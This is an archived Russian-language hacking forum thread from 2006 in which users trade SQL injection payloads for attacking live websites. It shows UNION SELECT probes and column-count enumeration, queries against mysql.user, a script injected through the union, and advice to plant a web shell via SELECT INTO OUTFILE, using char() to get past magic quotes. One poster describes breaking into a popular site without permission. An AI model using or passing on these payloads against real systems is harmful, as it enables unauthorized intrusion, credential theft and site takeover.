PDA

Просмотр полной версии : SQL Injection Help


netadmin
01.10.2006, 02:15
Zdarova
nu mne intiresna ia sastavlaiu SQL zapros
nu sperva test
1.http://site.ze/cat.php?c=-1'A
Atvet :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'A ORDER BY `ID` DESC LIMIT 1' at line 1
___________________________________ ____________
2.http://site.ze/cat.php?c=-1+union+se...ase(),null,7,8 ,9+from+mysql.user+where+id=1/*
Atvet:Cannot query the database.
Access denied for user 'top'@'localhost' to database 'mysql'
___________________________________ ___________
3.http://site.ze/cat.php?c=-1+union+select+1,2,<script>alert(); </script>,null,5,null,7,8,9+from+mysq l.user+where+id=1/*
Rabotait
___________________________________ ______________
4.http://site.ze/cat.php?c=-1+union+se...,7,8%20%20,9/*
ATVET:Cannot query the database.
The used SELECT statements have a different number of columns
___________________________________ ______________________
Shto mne shas delat
?
Prashu abisnite

blackybr
01.10.2006, 09:26
вообще при наличии ORDER BY `ID` DESC LIMIT 1' at line 1 у тебя не должно ничего работать вообще =)

max_pain89
01.10.2006, 09:37
вообще при наличии ORDER BY `ID` DESC LIMIT 1' at line 1 у тебя не должно ничего работать вообще =)
Ордер бай идет после места инъекции.

blackybr
01.10.2006, 09:50
не заметил..
насчет 2го - часто к mysql имеет доступ либо root либо какой-ниб привелигированный юзер.. поэтому ищи поля бд которая доступна именно тебе
насчет 4го - напиши полностью 4ый запрос в тэгах код, но вообще в ошибке и так сказанно что не то число столбцов

max_pain89
01.10.2006, 13:13
___________
3.http://site.ze/cat.php?c=-1+union+select+1,2,<script>alert(); </script>,null,5,null,7,8,9+from+mysq l.user+where+id=1/*
Rabotait
___________________________________ ______________
4.http://site.ze/cat.php?c=-1+union+se...,7,8%20%20,9/*
ATVET:Cannot query the database.
The used SELECT statements have a different number of columns

Мне вот это странно, что 3 работает, т.к. там нету ковычек, это что получается такая колонка есть.

А в 4 ясно написано что кол-во колонок не совпадает.

netadmin
01.10.2006, 16:00
karoche nechivo ne vixodit da :(

blackybr
01.10.2006, 16:57
давай пример. чем сможем тем поможем =))
стихи прямо..

steamer
02.10.2006, 02:10
Есть похожая тема. Нашел инекцию в очень раскрученном ресурсе. Параметр передается походу двум запросам, один на 5 столбцов, другой на 8. И не понятно, почему точка с запятой приводят к ошибке в любом месте, и после параметра и в Union запросе. Вот примеры.

1. =0;/*
Query Error!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';/*' at line 1Query Error!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';/*' at line 1

2. =0 union select null, null, null, null, null/*

Query Error!
The used SELECT statements have a different number of columns

3. =0 union select null, null, null, null, VERSION()/*
Query Error!
The used SELECT statements have a different number of columns

Если сломаю, с меня адресок ресурса :)

pop_korn
02.10.2006, 03:04
Если сломаю, с меня адресок ресурса
всю жизнь мечтали )))

посмотри сколько точно столбцов участвует в запросе, при помощи order by

steamer
02.10.2006, 19:08
В смысле, сколько участвует? На странице должно выводится два запроса с этим параметром, т.е. в одном из них должно быть 5 столбцов, ниже на стр второй с этим же параметром, но 8 столбцов. Возможно это даже разные таблицы. Дело в том, что при выборе например 4 столбцов выводятся два сообщения об ошибке и неправильном количестве столбцов, при выборе 5 или 8 только одно. Соответсвенно, в любом случае при запросе я получаю ошибку или от одного или от другого. Можно ли это исправить?

pop_korn
02.10.2006, 19:31
кажется нет, но если 1 запрос выполняется и юзер root, то можно записать в файл код шелла
select 'shell' into outfile '/путь/shell.php'

steamer
03.10.2006, 16:52
Скорее всего не рут, хотя попробую, но если есть к примеру папка с правами RW для всех, то туда же можно записать? И еще включены магические квоты, для этого попробовать использовать char(), или что еще, чтоб получить каывчки кавычки

типа select char(22) shell char(22) into outfile char(22) /путь/shell.php char(22)

netadmin
06.10.2006, 01:09
Скорее всего не рут, хотя попробую, но если есть к примеру папка с правами RW для всех, то туда же можно записать? И еще включены магические квоты, для этого попробовать использовать char(), или что еще, чтоб получить каывчки кавычки

типа select char(22) shell char(22) into outfile char(22) /путь/shell.php char(22)



i setim ne chevno ne vixodit v maiom sluche

steamer
11.10.2006, 20:30
Я все к теме sql. Появился вопрос. Есть строка: (две строки)

1. select user from user where user=char(39)

2. select user from user where user=char(39)root char(39)

Так вот, первая проходит без ошибок это понятно. Вторая нифига. Что должно быть между root и char(39)? Какой знак может? Чтоб они обрабатывались как одна фраза. Может есть какой заменитель char для строк, а не для одного символа.